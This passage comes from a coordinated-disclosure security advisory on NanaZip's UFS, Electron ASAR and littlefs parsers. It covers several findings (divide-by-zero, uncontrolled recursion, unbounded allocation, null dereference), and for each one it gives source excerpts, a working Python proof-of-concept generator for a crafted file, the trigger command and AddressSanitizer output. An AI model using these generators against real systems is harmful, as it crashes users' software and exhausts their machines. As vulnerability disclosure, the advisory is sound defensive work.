# Root inode (inode 2) at offset 16640
# iblkno(4) * fsize(4096) + rootino(2) * sizeof(ufs1_dinode)(128) = 16640
ri = 4 * BLOCK_SIZE + 2 * 128
w16(img, ri+0, IFLNK | 0o755) # di_mode = IFLNK | 0755
w16(img, ri+2, 1) # di_nlink = 1
struct.pack_into('<Q', img, ri+8, 11) # di_size = 11 (<= maxsymlinklen=60)
# di_shortlink at offset +40 (overlays di_db[])
target = b"/etc/passwd"
img[ri+40:ri+40+len(target)] = target
with open('poc_ufs_null.img', 'wb') as f:
f.write(img)
print(f'Written {IMAGE_SIZE}-byte image')
print(f' Root inode mode: 0x{IFLNK | 0o755:04X} (IFLNK)')
print(f' Root inode size: 11 (symlink target: /etc/passwd)')
print(f' fs_maxsymlinklen: 60 (11 <= 60 → embedded symlink path taken)')
Triggering:
NanaZip.Universal.Console.exe l poc_ufs_null.img
Verification
When NanaZip is compiled with AddressSanitizer (/p:EnableASAN=true):
==34932==ERROR: AddressSanitizer: access-violation on unknown address
0x000000000003 (pc 0x7ffc0c39f137 bp 0x000000000003 sp 0x00f50f2fc970 T0)
==34932==The signal is caused by a READ memory access.
==34932==Hint: address points to the zero page.
#0 MileReadUInt32LittleEndian
NanaZip.Codecs\Mile.Helpers.Portable.Base.Unstaged.cpp:53
#1 NanaZip::Codecs::Archive::Ufs::GetAllPaths
NanaZip.Codecs\NanaZip.Codecs.Archive.Ufs.cpp:621
#2 NanaZip::Codecs::Archive::Ufs::Open
NanaZip.Codecs\NanaZip.Codecs.Archive.Ufs.cpp:794
#3 CArc::OpenStream2 OpenArchive.cpp:1978
#4 CArc::OpenStream OpenArchive.cpp:3027
#5 CArc::OpenStreamOrFile OpenArchive.cpp:3122
#6 CArchiveLink::Open OpenArchive.cpp:3298
#7 CArchiveLink::Open2 OpenArchive.cpp:3422
#8 ListArchives List.cpp:1191
#9 Main2 Main.cpp:1568
#10 main MainAr.cpp:170
SUMMARY: AddressSanitizer: access-violation
NanaZip.Codecs\Mile.Helpers.Portable.Base.Unstaged.cpp:53
in MileReadUInt32LittleEndian
issue 8: Integer divide-by-zero in NanaZip UFS inode offset calculation (GHSL-2026-131)
An integer divide-by-zero exists in the UFS/UFS2 filesystem image parser in NanaZip. The vulnerability is triggered when opening a crafted UFS image where the superblock field fs_ipg (inodes per cylinder group) is set to zero. The parser uses this attacker-controlled value as a divisor without validation, causing an immediate hardware trap and process crash.
The function GetInodeOffset in NanaZip.Codecs.Archive.Ufs.cpp computes the on-disk byte offset of a UFS inode. It reads fs_ipg (inodes per cylinder group) from the superblock and uses it as a divisor to determine which cylinder group the inode belongs to:
// NanaZip.Codecs.Archive.Ufs.cpp — GetInodeOffset()
std::uint64_t GetInodeOffset(std::uint32_t const& Inode)
{
std::uint32_t InodePerCylinderGroup = this->ReadUInt32(
&this->m_SuperBlock.fs_ipg); // attacker-controlled
std::uint32_t CylinderGroup = Inode / InodePerCylinderGroup; // line 282: TRAP
std::uint32_t SubIndex = Inode % InodePerCylinderGroup; // line 283: same
// ...
}
Source: NanaZip.Codecs/NanaZip.Codecs.Archive.Ufs.cpp, lines 277–289
The fs_ipg field is read directly from the on-disk superblock without any validation. When an attacker sets fs_ipg = 0, the division at line 282 triggers a hardware divide-by-zero exception (x86 #DE interrupt), which the OS delivers as a structured exception (Windows) or SIGFPE (POSIX), terminating the process.
Call chain
The function is reached unconditionally during archive open:
Open() [line 794]
→ GetAllPaths(UFS_ROOTINO=2, "") [line 561]
→ GetInodeInformation(2, ...) [line 304]
→ GetInodeOffset(2) [line 280] ← CRASH
Open calls GetAllPaths(UFS_ROOTINO, "") as its first action after superblock validation. The superblock validation in Open (lines 700–780) checks fs_magic, fs_sblockloc, fs_frag >= 1, fs_ncg >= 1, fs_bsize >= MINBSIZE, and fs_sbsize, but does not validate fs_ipg.
Sibling division sites
All division and modulo operations in the UFS handler were audited:
| Line | Expression | Divisor | Risk |
|---|---|---|---|
| 54 | UnixTimeNanoseconds / 100 |
constant | Safe |
| 79, 99 | sizeof(...) / sizeof(...) |
constant | Safe |
| 282 | Inode / InodePerCylinderGroup |
fs_ipg |
This bug |
| 283 | Inode % InodePerCylinderGroup |
fs_ipg |
Same root cause |
| 424 | BlockSize / sizeof(int32_t) |
constant | Safe |
| 433 | BlockSize / sizeof(int64_t) |
constant | Safe |
No other unguarded attacker-controlled divisors exist in this file.
Impact
- The UFS handler is registered for file extensions
ufs,ufs2, andimg. - The MSIX manifest declares a wildcard file association, enabling format autodetection.
- The vulnerability triggers during
IInArchive::Open(), before any user interaction beyond opening the file. - Denial of Service: The hardware divide-by-zero exception causes an immediate, deterministic crash of the NanaZip process.
- No memory corruption: The trap fires before any memory read or write using the computed offset.
- No code execution: The divide-by-zero is a hardware exception, not exploitable undefined behavior.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L — 3.5 (Low)
Affected versions: Since 5.0.1250.0 (2025-02-01), the first release shipping the UFS handler.
Relationship to other UFS findings
This vulnerability is distinct from:
- GHSL-2026-125: Heap OOB write in
GetAllPathsviad_name[NameLength]. - GHSL-2026-130: Null-pointer dereference in
GetAllPathswhen root inode is a symlink.
All three are in the same UFS handler but have different root causes and trigger conditions.
CWEs
- CWE-369: “Divide By Zero”
Resources
PoC generator:
A crafted 16 KiB UFS1 filesystem image triggers the vulnerability.
#!/usr/bin/env python3
"""Generate a crafted UFS1 image that triggers div-by-zero in GetInodeOffset."""
import struct
SBLOCK_UFS1 = 8192
FS_UFS1_MAGIC = 0x011954
BLOCK_SIZE = 4096
IMAGE_SIZE = 16 * 1024 # 16 KiB (superblock + padding)
def w32(buf, off, v): struct.pack_into('<i', buf, off, v)
def wu32(buf, off, v): struct.pack_into('<I', buf, off, v)
def w64(buf, off, v): struct.pack_into('<q', buf, off, v)
img = bytearray(IMAGE_SIZE)
sb = SBLOCK_UFS1
# Superblock — all fields set to pass Open() validation
w32(img, sb+16, 4) # fs_iblkno = 4
wu32(img, sb+44, 1) # fs_ncg = 1 (>= 1)
w32(img, sb+48, BLOCK_SIZE) # fs_bsize = 4096 (>= MINBSIZE)
w32(img, sb+52, BLOCK_SIZE) # fs_fsize = 4096
w32(img, sb+56, 1) # fs_frag = 1 (>= 1)
w32(img, sb+104, 8192) # fs_sbsize = 8192
wu32(img, sb+184, 0) # fs_ipg = 0 ← TRIGGER: division by zero
w32(img, sb+188, 100) # fs_fpg = 100
w64(img, sb+1000, SBLOCK_UFS1) # fs_sblockloc = 8192
w32(img, sb+1320, 60) # fs_maxsymlinklen = 60
w32(img, sb+1372, FS_UFS1_MAGIC)
with open('poc_ufs_inode.img', 'wb') as f:
f.write(img)
print(f'Written {IMAGE_SIZE}-byte image with fs_ipg=0')
Triggering:
NanaZip.Universal.Console.exe l poc_ufs_inode.img
Verification
When NanaZip is compiled with AddressSanitizer (/p:EnableASAN=true):
==37912==ERROR: AddressSanitizer: int-divide-by-zero on unknown address
0x7ffc0c3d6055 (pc 0x7ffc0c3d6055 bp 0x1243634a0e80 sp 0x006eb66fc760 T0)
#0 NanaZip::Codecs::Archive::Ufs::GetInodeOffset
NanaZip.Codecs\NanaZip.Codecs.Archive.Ufs.cpp:280
#1 NanaZip::Codecs::Archive::Ufs::GetInodeInformation
NanaZip.Codecs\NanaZip.Codecs.Archive.Ufs.cpp:304
#2 NanaZip::Codecs::Archive::Ufs::GetAllPaths
NanaZip.Codecs\NanaZip.Codecs.Archive.Ufs.cpp:561
#3 NanaZip::Codecs::Archive::Ufs::Open
NanaZip.Codecs\NanaZip.Codecs.Archive.Ufs.cpp:794
#4 CArc::OpenStream2 OpenArchive.cpp:1978
#5 CArc::OpenStream OpenArchive.cpp:3027
#6 CArc::OpenStreamOrFile OpenArchive.cpp:3122
#7 CArchiveLink::Open OpenArchive.cpp:3298
#8 CArchiveLink::Open2 OpenArchive.cpp:3422
#9 ListArchives List.cpp:1191
#10 Main2 Main.cpp:1568
#11 main MainAr.cpp:170
SUMMARY: AddressSanitizer: int-divide-by-zero
NanaZip.Codecs\NanaZip.Codecs.Archive.Ufs.cpp:280
in NanaZip::Codecs::Archive::Ufs::GetInodeOffset
issue 9: Uncontrolled recursion in NanaZip UFS directory traversal causes stack exhaustion (GHSL-2026-132)
An uncontrolled recursion vulnerability exists in the UFS/UFS2 filesystem image parser in NanaZip. The function GetAllPaths recurses into subdirectories without any depth limit or visited-inode tracking. A crafted UFS image with a deep directory tree or an inode cycle causes stack exhaustion, crashing the NanaZip process.
The function GetAllPaths in NanaZip.Codecs.Archive.Ufs.cpp traverses UFS directory entries and recursively calls itself for every entry with d_type == DT_DIR (lines 638–647):
if ("." == Name || ".." == Name)
{
// Just Skip
}
else if (DT_DIR == Type)
{
if (!this->GetAllPaths(Inode, RootPath + Name + "/")) // line 644: unbounded recursion
{
return false;
}
}
Source: NanaZip.Codecs/NanaZip.Codecs.Archive.Ufs.cpp, lines 556–658
Two safeguards are missing:
-
No depth limit. There is no
MaxDepthparameter or counter. Each recursion level consumes stack space for locals (UfsInodeInformationwith itsstd::vector<uint64_t>,std::vector<uint8_t> Buffer,std::stringconcatenations, return address, saved registers). With the default 1 MiB Win32 thread stack and ~1–2 KiB per frame, a directory tree of a few hundred levels exhausts the stack. -
No visited-inode tracking. There is no
std::unordered_set<uint32_t>or equivalent to detect inode cycles. The only cycle suppression is the literal name check for"."and".."at line 638. A directory entry named"x"withd_type = DT_DIRthat points back to its own inode (or any ancestor) causes infinite recursion.
Comparison with the ROMFS handler
The sibling ROMFS handler in the same codebase implements both protections:
// NanaZip.Codecs.Archive.Romfs.cpp
const std::size_t g_RomfsMaximumEntries = 10000; // line 62
const std::size_t g_RomfsMaximumVisitDepth = 1000; // line 64
std::unordered_set<std::uint32_t> m_VisitedOffsets; // line 137
// Enforced at lines 201, 262:
if (m_VisitedOffsets.size() >= g_RomfsMaximumEntries) ...
if (m_VisitQueue.size() < g_RomfsMaximumVisitDepth) ...
The ROMFS handler uses an explicit work queue (std::deque) instead of recursion, eliminating the stack-depth dependency entirely. The UFS handler does not follow this pattern.
Two trigger paths
-
Deep tree: A legitimate chain of directories
a/a/a/.../awith each entry pointing to a distinct inode. A few hundred levels suffice to exhaust the default Windows thread stack. -
Inode cycle: A directory entry named
"x"withd_type = DT_DIRwhosed_inopoints back to the same directory inode (or any ancestor). Since the only cycle check is the literal"."/".."name comparison, the entry named"x"recurses forever.
Stack overflow behavior on Windows
When the stack is exhausted, the next frame access hits the stack guard page. Windows delivers a STATUS_STACK_OVERFLOW (0xC00000FD) structured exception. With NanaZip’s /EHsc compilation, this SEH exception is not caught by catch(...) — the process terminates.
Impact
- The UFS handler is registered for file extensions
ufs,ufs2, andimg. - The MSIX manifest declares a wildcard file association.
GetAllPathsruns at archive open time, before any user interaction beyond opening the file.- Denial of Service: Deterministic crash via stack-overflow guard-page fault (
STATUS_STACK_OVERFLOW/0xC00000FD). - No memory corruption: The recursion frames are well-formed C++ stack frames. No attacker-controlled write occurs past any buffer.
- No code execution: Stack overflow via natural recursion on Windows with CFG/CET is not an exploitable primitive.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L — 3.5 (Low)
Affected versions: Since 5.0.1250.0 (2025-02-01), the first release shipping the UFS handler.
Relationship to other UFS findings
This vulnerability is distinct from:
- GHSL-2026-125: Heap OOB write in
GetAllPathsviad_name[NameLength]. - GHSL-2026-130: Null-pointer dereference when root inode is a symlink.
- GHSL-2026-131: Integer divide-by-zero when
fs_ipg = 0.
All four are in the same UFS handler but have independent root causes and trigger conditions.
CWEs
- CWE-674: “Uncontrolled Recursion”
Resources
PoC generator:
A crafted UFS1 image with an inode cycle triggers the vulnerability. The root directory (inode 2) contains an entry "x" of type DT_DIR that points back to inode 2 itself, creating infinite recursion.
#!/usr/bin/env python3
"""Generate a crafted UFS1 image that triggers stack exhaustion
via inode cycle in GetAllPaths."""
import struct
SBLOCK_UFS1 = 8192
FS_UFS1_MAGIC = 0x011954
BLOCK_SIZE = 4096
UFS_ROOTINO = 2
IFDIR = 0o040000
DT_DIR = 4
IMAGE_SIZE = 128 * 1024
def w16(buf, off, v): struct.pack_into('<H', buf, off, v)
def w32(buf, off, v): struct.pack_into('<i', buf, off, v)
def wu32(buf, off, v): struct.pack_into('<I', buf, off, v)
def w64(buf, off, v): struct.pack_into('<q', buf, off, v)
img = bytearray(IMAGE_SIZE)
sb = SBLOCK_UFS1
# Superblock
w32(img, sb+16, 4) # fs_iblkno = 4
w32(img, sb+40, 100) # fs_old_dsize
wu32(img, sb+44, 1) # fs_ncg = 1
w32(img, sb+48, BLOCK_SIZE) # fs_bsize
w32(img, sb+52, BLOCK_SIZE) # fs_fsize
w32(img, sb+56, 1) # fs_frag
w32(img, sb+104, 8192) # fs_sbsize
wu32(img, sb+184, 16) # fs_ipg
w32(img, sb+188, 100) # fs_fpg
w64(img, sb+1000, SBLOCK_UFS1) # fs_sblockloc
w32(img, sb+1320, 60) # fs_maxsymlinklen
w32(img, sb+1372, FS_UFS1_MAGIC)
# Root inode (inode 2)
ri = 4 * BLOCK_SIZE + UFS_ROOTINO * 128
w16(img, ri, IFDIR | 0o755) # di_mode
w16(img, ri+2, 2) # di_nlink
struct.pack_into('<Q', img, ri+8, BLOCK_SIZE) # di_size
w32(img, ri+40, 8) # di_db[0] -> fragment 8
# Directory data block at fragment 8
dd = 8 * BLOCK_SIZE
# Entry 1: "." (self, normal)
wu32(img, dd, UFS_ROOTINO) # d_ino = 2
w16(img, dd+4, 12) # d_reclen = 12
img[dd+6] = DT_DIR # d_type
img[dd+7] = 1 # d_namlen
img[dd+8] = ord('.') # d_name
# Entry 2: ".." (parent, normal)
e2 = dd + 12
wu32(img, e2, UFS_ROOTINO) # d_ino = 2
w16(img, e2+4, 12) # d_reclen = 12
img[e2+6] = DT_DIR # d_type
img[e2+7] = 2 # d_namlen
img[e2+8] = ord('.') # d_name[0]
img[e2+9] = ord('.') # d_name[1]
# Entry 3: "x" — DT_DIR pointing back to inode 2 (CYCLE!)
e3 = dd + 24
wu32(img, e3, UFS_ROOTINO) # d_ino = 2 (same as root → cycle)
w16(img, e3+4, BLOCK_SIZE - 24) # d_reclen = rest of block
img[e3+6] = DT_DIR # d_type = directory
img[e3+7] = 1 # d_namlen = 1
img[e3+8] = ord('x') # d_name = "x"
with open('poc.img', 'wb') as f:
f.write(img)
print(f'Written {IMAGE_SIZE}-byte image')
print(f' Root inode 2 has entry "x" (DT_DIR) pointing to inode 2')
print(f' GetAllPaths will recurse: / -> x/ -> x/x/ -> x/x/x/ -> ...')
print(f' Stack exhaustion after ~500-1000 levels')
Triggering:
NanaZip.Universal.Console.exe l poc.img
echo Exit code: %ERRORLEVEL%
Verification
ASan build confirms stack overflow:
==31748==ERROR: AddressSanitizer: stack-overflow on address 0x7ffd46e55da7
(pc 0x7ffd46e55da7 bp 0x005b86ee4470 sp 0x005b86ee43f8 T0)
<empty stack>
SUMMARY: AddressSanitizer: stack-overflow
==31748==ABORTING
Release build crashes with STATUS_STACK_OVERFLOW (0xC00000FD = decimal -1073741571):
...
Exit code: -1073741571
No Page Heap or ASan is needed — the stack overflow occurs naturally from unbounded recursion.
issue 10: Uncontrolled recursion in NanaZip Electron ASAR parser causes stack exhaustion (GHSL-2026-133)
An uncontrolled recursion vulnerability exists in the Electron Archive (ASAR) parser in NanaZip. When opening a crafted .asar file with deeply nested JSON in the header, both nlohmann::json::parse and the handler’s GetAllPaths function recurse without depth limits, exhausting the thread stack and crashing the NanaZip process.
The ASAR handler’s Open method reads a JSON header from the archive and passes it to two recursive functions:
1. nlohmann::json::parse (lines 226–231): The nlohmann JSON library’s default parser uses recursive descent with no built-in nesting limit:
try
{
nlohmann::json HeaderObject =
nlohmann::json::parse(HeaderString); // ← recursive parser, no depth limit
this->GetAllPaths(HeaderObject, "");
}
catch (...)
{
break;
}
2. GetAllPaths (lines 101–115): After parsing, the handler recursively walks the "files" keys of the JSON tree with no depth limit or visited-node tracking:
void GetAllPaths(
nlohmann::json const& RootJson,
std::string const& RootPath)
{
nlohmann::json Files = Mile::Json::ToObject(
Mile::Json::GetSubKey(RootJson, "files"));
if (!Files.empty())
{
for (auto const& File : Files.items())
{
this->GetAllPaths( // ← unbounded recursion
File.value(),
RootPath + File.key() + "/");
}
}
// ...
}
Source: NanaZip.Codecs/NanaZip.Codecs.Archive.ElectronAsar.cpp, lines 101–133
Each GetAllPaths frame constructs a nlohmann::json Files copy (line 105) and a std::string concatenation (line 113), consuming significant stack and heap per frame.
A JSON header with ~2000 levels of {"files":{"a":...}} nesting reliably exhausts the default 1 MiB Win32 thread stack.
Comparison with the ROMFS handler
The sibling ROMFS handler implements both depth limiting (g_RomfsMaximumVisitDepth = 1000) and visited-node tracking (m_VisitedOffsets) with an explicit work queue instead of recursion.
Impact
- The ASAR handler is registered for the
.asarfile extension. - NanaZip’s MSIX manifest declares wildcard file association.
- The vulnerability triggers during
IInArchive::Open(), before any user interaction beyond opening the file. - The crafted file is small (~32 KiB for 2000-deep nesting) — trivially deliverable via email, web, or USB.
- The
catch (...)at line 232 wraps the JSON parse andGetAllPathscall, but stack overflow on Windows is a structured exception (STATUS_STACK_OVERFLOW/0xC00000FD). With/EHsccompilation,catch(...)does not catch SEH — the process terminates. - Denial of Service: Deterministic crash via
STATUS_STACK_OVERFLOW. No memory corruption. - No code execution: Stack overflow via natural recursion on Windows with CFG/CET is not an exploitable primitive.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L — 3.5 (Low)
Affected versions: Since 5.0.1250.0 (2025-02-01), the first release shipping the ASAR handler.
Relationship to other findings
This vulnerability is the same class (CWE-674) as GHSL-2026-132 (UFS handler GetAllPaths recursion). Different handler, different input format, but same root cause pattern requiring separate fixes.
CWEs
- CWE-674: “Uncontrolled Recursion”
Resources
PoC generator:
A crafted .asar file with 2000 levels of nested {"files":{"a":...}} JSON triggers the vulnerability.
#!/usr/bin/env python3
"""Generate a crafted ASAR file that triggers stack exhaustion
via deeply nested JSON in the header."""
import struct
depth = 2000
# Build deeply nested JSON: {"files":{"a":{"files":{"a":...{}...}}}}
json_str = ""
for i in range(depth):
json_str += '{"files":{"a":'
json_str += '{}'
for i in range(depth):
json_str += '}}'
json_bytes = json_str.encode("utf-8")
hdr_string_size = len(json_bytes)
hdr_buffer_size = hdr_string_size
hdr_size = 4 + hdr_buffer_size
hdr_size_var_size = 4
# ASAR binary header: 4x uint32 LE
header = struct.pack("<IIII",
hdr_size_var_size, # HeaderSizeVariableSize = 4
hdr_size, # HeaderSize = 4 + HeaderBufferSize
hdr_buffer_size, # HeaderBufferSize
hdr_string_size) # HeaderStringSize
data = header + json_bytes
with open('poc.asar', 'wb') as f:
f.write(data)
print(f'Written {len(data)}-byte file')
print(f' JSON nesting depth: {depth}')
print(f' JSON header size: {hdr_string_size} bytes')
print(f' Stack overflow in nlohmann::json::parse or GetAllPaths')
Triggering:
NanaZip.Universal.Console.exe l poc.asar
echo Exit code: %ERRORLEVEL%
Verification
ASan build crashes with ACCESS_VIOLATION (0xC0000005 = decimal -1073741819) — ASan detects the stack guard page hit:
NanaZip.Universal.Console.exe l poc.asar
...
Exit code: -1073741819
Release build crashes with STATUS_STACK_OVERFLOW (0xC00000FD = decimal -1073741571):
NanaZip.Universal.Console.exe l poc.asar
...
Exit code: -1073741571
No Page Heap or special instrumentation is needed — the stack overflow occurs naturally from unbounded recursion in nlohmann::json::parse and/or GetAllPaths.
issue 11: Unbounded resource consumption in NanaZip littlefs parser via attacker-controlled BlockCount (GHSL-2026-134)
A denial-of-service vulnerability exists in the littlefs filesystem image parser in NanaZip. The handler’s Open method reads BlockCount directly from the attacker-controlled superblock without any validation against the actual file size or any upper-bound ceiling, then iterates BlockCount times, allocating a file-path entry per iteration. A crafted 44-byte littlefs image with BlockCount = 0xFFFFFFFF causes ~4 billion heap allocations, exhausting available memory.
The function Open reads BlockSize and BlockCount directly from the on-disk superblock without any validation (lines 616–619):
std::uint32_t BlockSize = this->ReadUInt32(
&this->m_SuperMetadataHeader.RawStructure.BlockSize);
std::uint32_t BlockCount = this->ReadUInt32(
&this->m_SuperMetadataHeader.RawStructure.BlockCount);
Neither value is checked against the actual file size (BundleSize is computed at line 555 but never compared to BlockSize * BlockCount). The handler then iterates BlockCount times, creating an entry per block (lines 636–645):
for (std::uint32_t i = 0; i < BlockCount; ++i)
{
LittlefsFilePathInformation Information;
Information.Inode = i;
Information.Type = LfsTypeRegular;
Information.Size = BlockSize;
Information.Path = Mile::FormatString("[%d]", i);
Information.Offset = i * BlockSize; // ← also: uint32 overflow (Finding 2)
this->m_FilePaths.emplace_back(Information);
}
With BlockCount = 0xFFFFFFFF (~4 billion), each iteration:
- Constructs a
LittlefsFilePathInformationstruct (~50+ bytes including a heap-allocatedstd::string) - Calls
Mile::FormatString("[%d]", i)(heap allocation) emplace_backs intom_FilePaths(vector growth with periodic reallocation)
The steady-state memory demand is on the order of hundreds of GiB, far exceeding any real system’s physical or virtual memory.
Finding 2 — Integer overflow on Information.Offset
At line 643, i * BlockSize is computed as uint32_t * uint32_t, which wraps modulo 2³² before being widened to the uint64_t Offset field. For any BlockSize * BlockCount > 2^32, later iterations produce wrapped offsets that point to incorrect positions within the file. This is a data-confusion issue, not an OOB — the buffer allocation in Extract uses Information.Size for both the allocation and the read, so the access is always in-bounds.
Impact
- The littlefs handler is registered for the
.littlefsfile extension. - NanaZip’s MSIX manifest declares wildcard file association.
- The vulnerability triggers during
IInArchive::Open(), before any user interaction beyond opening the file. - The crafted image is only 44 bytes — the minimum
sizeof(LfsSuperMetadataHeader). - Incremental resource exhaustion: The loop performs ~4 billion small, individually-successful heap allocations. Memory consumption grows gradually over minutes — driving the system into swap, degrading all running applications.
- Extreme amplification ratio: A 44-byte input triggers ~256 GiB of allocation (~10 billion to 1 ratio).
- No memory corruption. Each
emplace_backallocates correctly-sized entries. - No code execution.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L — 3.5 (Low)
Affected versions: Since 5.0.1252.0 (2025-02-03), the first release shipping the littlefs handler.
CWEs
- CWE-770: “Allocation of Resources Without Limits or Throttling”
Resources
PoC generator:
A crafted 44-byte littlefs superblock triggers the vulnerability.
#!/usr/bin/env python3
"""Generate a crafted littlefs image that triggers unbounded allocation
from attacker-controlled BlockCount field."""
import struct
def make_tag(invalid, typ, tid, length):
"""Build a littlefs metadata tag from its bitfield components.
Layout: Invalid(1) | Type(11) | Id(10) | Length(10)"""
return (invalid << 31) | (typ << 20) | (tid << 10) | length
# Tag values for superblock header XOR chain
super_tag = make_tag(0, 0x0FF, 0, 8) # LfsTypeSuperBlock, Id=0, Length=sizeof("littlefs")
struct_tag = make_tag(0, 0x201, 0, 24) # LfsTypeInlineStructure, Id=0, Length=sizeof(LfsSuperBlockInlineStructure)
# XOR chain: initial tag 0xFFFFFFFF ^ RawSuperBlockTag = super_tag
raw_super_tag = 0xFFFFFFFF ^ super_tag
# super_tag ^ RawStructureTag = struct_tag
raw_struct_tag = super_tag ^ struct_tag
data = bytearray(44) # sizeof(LfsSuperMetadataHeader)
struct.pack_into('<I', data, 0, 0) # RawRevisionCount (little-endian)
struct.pack_into('>I', data, 4, raw_super_tag) # RawSuperBlockTag (big-endian!)
data[8:16] = b'littlefs' # RawSignature (magic)
struct.pack_into('>I', data, 16, raw_struct_tag) # RawStructureTag (big-endian!)
struct.pack_into('<I', data, 20, 0x00020001) # Version = 2.1 (major=2)
struct.pack_into('<I', data, 24, 4096) # BlockSize = 4096
struct.pack_into('<I', data, 28, 0xFFFFFFFF) # BlockCount = ~4 billion (TRIGGER)
struct.pack_into('<I', data, 32, 255) # MaximumNameLength
struct.pack_into('<I', data, 36, 0x7FFFFFFF) # MaximumFileLength
struct.pack_into('<I', data, 40, 1022) # MaximumAttributeLength
with open('poc.littlefs', 'wb') as f:
f.write(data)
print(f'Written {len(data)}-byte image')
print(f' BlockCount = 0xFFFFFFFF (~4 billion entries)')
print(f' Open will loop ~4B times, exhausting memory')
Triggering:
NanaZip.Universal.Console.exe l poc.littlefs
The process hangs consuming memory and CPU. With a more moderate BlockCount (e.g., 0x10000 = 65536), the 44-byte file successfully opens and lists 65536 block entries — confirming that BlockCount is trusted without file-size validation.
CVE
- GHSL-2026-124: CVE-2026-54616
- GHSL-2026-125: CVE-2026-44215
- GHSL-2026-126: CVE-2026-47222
- GHSL-2026-127: CVE-2026-47223
- GHSL-2026-128: CVE-2026-42446
- GHSL-2026-129: CVE-2026-47224
- GHSL-2026-130: CVE-2026-42442
- GHSL-2026-131: CVE-2026-42443
- GHSL-2026-132: CVE-2026-42445
- GHSL-2026-133: CVE-2026-42355
- GHSL-2026-134: CVE-2026-42444
Credit
These issues were discovered and reported by GHSL team member @JarLob (Jaroslav Lobačevski).
Contact
You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2026-124, GHSL-2026-125, GHSL-2026-126, GHSL-2026-127, GHSL-2026-128, GHSL-2026-129, GHSL-2026-130, GHSL-2026-131, GHSL-2026-132, GHSL-2026-133, or GHSL-2026-134 in any communication regarding these issues.